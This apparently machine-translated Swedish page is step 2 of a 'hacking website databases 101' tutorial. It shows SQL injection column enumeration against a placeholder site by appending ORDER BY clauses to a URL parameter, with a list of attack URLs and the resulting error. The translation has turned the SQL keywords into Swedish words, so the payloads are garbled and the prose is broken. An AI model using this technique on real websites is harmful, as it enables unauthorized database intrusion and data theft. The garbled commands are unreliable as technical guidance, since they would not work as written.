Guide till Hacking webbplats databas 101 (2 / 10 steg)
Steg 2: Räkna ut antal spalter
Vi kommer att använda kommandot kallas Order av. Detta kommando berättar databas hur man beställer resultatet.
För att använda detta kommando, ta bort citattecken (') som du har skrivit innan och skriv in kommandot ordning av 1--
Webbplatsen kommer att vara: http://Vulnerable.com/goodies.php?id=10 ordning av 1--
Nu hålla öka antalet tills vi får ett fel
Tips: Den "--" dubbla bindestreck / minus symbolen
[Här är hur det fungerar]
http://Vulnerable.com/goodies.php?id=10 beställning av 1--< = vi får inget fel
http://Vulnerable.com/goodies.php?id=10 beställning av 2--< = vi får inget fel
http://Vulnerable.com/goodies.php?id=10 beställning av 3--< = vi får inget fel
http://Vulnerable.com/goodies.php?id=10 beställning av 4--< = vi får inget fel
http://Vulnerable.com/goodies.php?id=10 beställning av 5--< = vi får inget fel
http://Vulnerable.com/goodies.php?id=10 beställning av 6--< = vi får inget fel
http://Vulnerable.com/goodies.php?id=10 beställning av 7--< = vi får inget fel
http://Vulnerable.com/goodies.php?id=10 beställning av 8--< = vi får inget fel
http://Vulnerable.com/goodies.php?id=10 beställning av 9--< = Bingo! Vi har fel "Okänd kolumnen"9"i ordning clause"
Hade vi ett fel på nionde försök. Så det finns 8 kolumner.